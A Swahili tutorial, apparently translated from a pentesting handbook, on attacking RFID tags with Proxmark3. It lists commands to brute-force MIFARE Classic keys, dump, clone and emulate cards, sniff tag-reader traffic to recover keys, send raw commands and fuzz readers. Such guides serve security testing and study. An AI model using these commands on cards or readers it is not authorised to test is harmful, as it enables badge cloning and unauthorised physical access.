Kuashiria Mifumo ya RFID kwa kutumia Proxmark3

Jambo la kwanza unahitaji kufanya ni kuwa na Proxmark3 na kufunga programu na utegemezi wakes.

Kuashiria MIFARE Classic 1KB

Ina sehemu 16, kila moja ina blocks 4 na kila block ina 16B. UID iko katika sehemu 0 block 0 (na haiwezi kubadilishwa). Ili kufikia kila sehemu unahitaji funguo 2 (A na B) ambazo zimehifadhiwa katika block 3 ya kila sehemu (sehemu trailer). Sehemu trailer pia inahifadhi vigezo vya ufikiaji vinavyotoa ruhusa za kusoma na kuandika kwenye kila block kwa kutumia funguo 2. Funguo 2 ni muhimu kutoa ruhusa za kusoma ikiwa unajua ya kwanza na kuandika ikiwa unajua ya pili (kwa mfano).

Mashambulizi kadhaa yanaweza kufanywa

proxmark3> hf mf #List attacks

proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key

proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card

Proxmark3 inaruhusu kufanya vitendo vingine kama kupeleleza mawasiliano ya Tag na Reader ili kujaribu kupata data nyeti. Katika kadi hii unaweza tu kunusa mawasiliano na kuhesabu funguo iliyotumika kwa sababu operesheni za kijasusi zilizotumika ni dhaifu na kujua maandiko ya wazi na maandiko ya cipher unaweza kuhesabu (mfkey64 tool).

Amri Mbichi

Mifumo ya IoT wakati mwingine hutumia vitambulisho visivyo na chapa au visivyo vya kibiashara. Katika kesi hii, unaweza kutumia Proxmark3 kutuma amri mbichi za kawaida kwa vitambulisho.

proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

Kwa habari hii unaweza kujaribu kutafuta taarifa kuhusu kadi na kuhusu njia ya kuwasiliana nayo. Proxmark3 inaruhusu kutuma amri za moja kwa moja kama: hf 14a raw -p -b 7 26

Scripts

Programu ya Proxmark3 inakuja na orodha iliyopakiwa ya awali ya scripts za automatisering ambazo unaweza kutumia kufanya kazi rahisi. Ili kupata orodha kamili, tumia amri ya script list. Kisha, tumia amri ya script run, ikifuatiwa na jina la script:

proxmark3> script run mfkeys

Unaweza kuunda skripti ili fuzz tag readers, hivyo kunakili data ya kadi halali andika tu Lua script ambayo randomize byte moja au zaidi za nasibu na uangalie kama reader inashindwa na iteration yoyote.
